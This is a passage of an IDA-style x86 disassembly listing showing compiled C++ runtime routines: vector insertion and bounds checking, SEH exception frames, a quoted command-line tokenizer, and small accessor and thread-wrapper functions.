; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A440	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A440	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A480:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4B0	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A4B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A4F1
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F20
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A624
; ---------------------------------------------------------------------------


loc_40A4F1:				; CODE XREF: sub_40A4B0+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A5D5
		push	ebx


loc_40A531:				; CODE XREF: sub_40A4B0+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A540


loc_40A537:				; CODE XREF: sub_40A4B0+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A537


loc_40A540:				; CODE XREF: sub_40A4B0+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A54F
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A54F:				; CODE XREF: sub_40A4B0+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A59F
		test	cl, cl
		jz	short loc_40A587


loc_40A56B:				; CODE XREF: sub_40A4B0+D5j
		cmp	cl, 22h
		jnz	short loc_40A57C
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A587
		test	cl, cl
		jz	short loc_40A587


loc_40A57C:				; CODE XREF: sub_40A4B0+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A56B


loc_40A587:				; CODE XREF: sub_40A4B0+B9j
					; sub_40A4B0+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A5CA
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A5CA
		add	eax, 2
		jmp	short loc_40A5C6
; ---------------------------------------------------------------------------


loc_40A59F:				; CODE XREF: sub_40A4B0+B5j
		test	cl, cl
		jz	short loc_40A5B4
		mov	dl, [edi]


loc_40A5A5:				; CODE XREF: sub_40A4B0+102j
		cmp	cl, dl
		jz	short loc_40A5B4
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5A5


loc_40A5B4:				; CODE XREF: sub_40A4B0+F1j
					; sub_40A4B0+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A5CA
		cmp	cl, [edi]
		jnz	short loc_40A5CA
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A5C6:				; CODE XREF: sub_40A4B0+EDj
		mov	[esp+48h+var_3C], eax


loc_40A5CA:				; CODE XREF: sub_40A4B0+DAj
					; sub_40A4B0+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A531
		pop	ebx


loc_40A5D5:				; CODE XREF: sub_40A4B0+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A5ED
		push	offset byte_446F20
		jmp	short loc_40A5FA
; ---------------------------------------------------------------------------


loc_40A5ED:				; CODE XREF: sub_40A4B0+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A5FA:				; CODE XREF: sub_40A4B0+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C
; ---------------------------------------------------------------------------


loc_40A624:				; CODE XREF: sub_40A4B0+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A4B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6B0	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A6B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6F0	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A6F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A760:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A780	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A780	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7A0	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A7A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7C0	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A7C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A810	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A810	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A860	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A86A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A86A:				; CODE XREF: sub_40A860+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A890	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A8A8
		mov	ecx, esi
		call	sub_401EE7


loc_40A8A8:				; CODE XREF: sub_40A890+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A890	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8D0	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A8D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A900	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A900	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A920	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A920	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A940	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A940	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A990	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A9B0


loc_40A9A1:				; CODE XREF: sub_40A990+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A9A1


loc_40A9B0:				; CODE XREF: sub_40A990+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A990	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A9D0:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438B59
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_43F088
		push	edx
		call	sub_4368C2
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AA50	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_40AA50	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AA70	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB3B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AAA3
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AAA5
; ---------------------------------------------------------------------------


loc_40AAA3:				; CODE XREF: sub_40AA70+26j
		mov	ebp, edi


loc_40AAA5:				; CODE XREF: sub_40AA70+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB3B:				; CODE XREF: sub_40AA70+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40AB99
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB99:				; CODE XREF: sub_40AA70+D8j
		test	edi, edi
		jbe	short loc_40ABD3
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40ABD3:				; CODE XREF: sub_40AA70+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AA70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC40	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_40AC40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC60	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40AC92
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40AC76:				; CODE XREF: sub_40AC60+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40AC76
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40AC60+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AC60	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACB0	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40ACD7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40ACC6:				; CODE XREF: sub_40ACB0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40ACC6
		pop	esi
		pop	ebx


loc_40ACD7:				; CODE XREF: sub_40ACB0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40ACB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40ACF0	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40ACF0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD20	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40AD20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD50	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40AD6D
		mov	edx, [esp+arg_8]
		push	esi


loc_40AD61:				; CODE XREF: sub_40AD50+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40AD61
		pop	esi

locret_40AD6D:				; CODE XREF: sub_40AD50+Aj
		retn
sub_40AD50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40ADA2
		mov	eax, [esp+arg_8]
		push	esi


loc_40AD91:				; CODE XREF: sub_40AD80+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40AD91
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40ADA2:				; CODE XREF: sub_40AD80+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40ADE0	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40ADEA
		xor	eax, eax


loc_40ADEA:				; CODE XREF: sub_40ADE0+6j
		shl	eax, 2
		push	eax
		call	sub_43688A
sub_40ADE0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE10	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE2B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE2B:				; CODE XREF: sub_40AE10+11j
		retn
sub_40AE10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE40	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40AE40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE60	proc near		; CODE XREF: ___:00401717j sub_402027j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402031
		test	[esp+4+arg_0], 1
		jz	short loc_40AE78
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AE78:				; CODE XREF: sub_40AE60+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40AE60	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE90	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AE90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AEC1:				; DATA XREF: sub_40AED2o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AED2	proc near		; DATA XREF: ___:0043F1C4o
		mov	eax, offset loc_40AEC1
		retn
sub_40AED2	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF00	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AF00	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF20	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AF20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF40	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset loc_40141F
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AF62
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AF62:				; CODE XREF: sub_40AF40+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AF40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AFA7
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AFA7:				; CODE XREF: ___:0040AF89j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFC0	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AFDC
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AFDC:				; CODE XREF: sub_40AFC0+8j
		pop	esi
		retn
sub_40AFC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFF0:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B010:				; CODE XREF: ___:loc_40141Fj
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_438B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		call	dword ptr [eax+4]


loc_40B03E:				; DATA XREF: ___:loc_40B051o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B051:				; DATA XREF: ___:0043F224o
		mov	eax, offset loc_40B03E
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



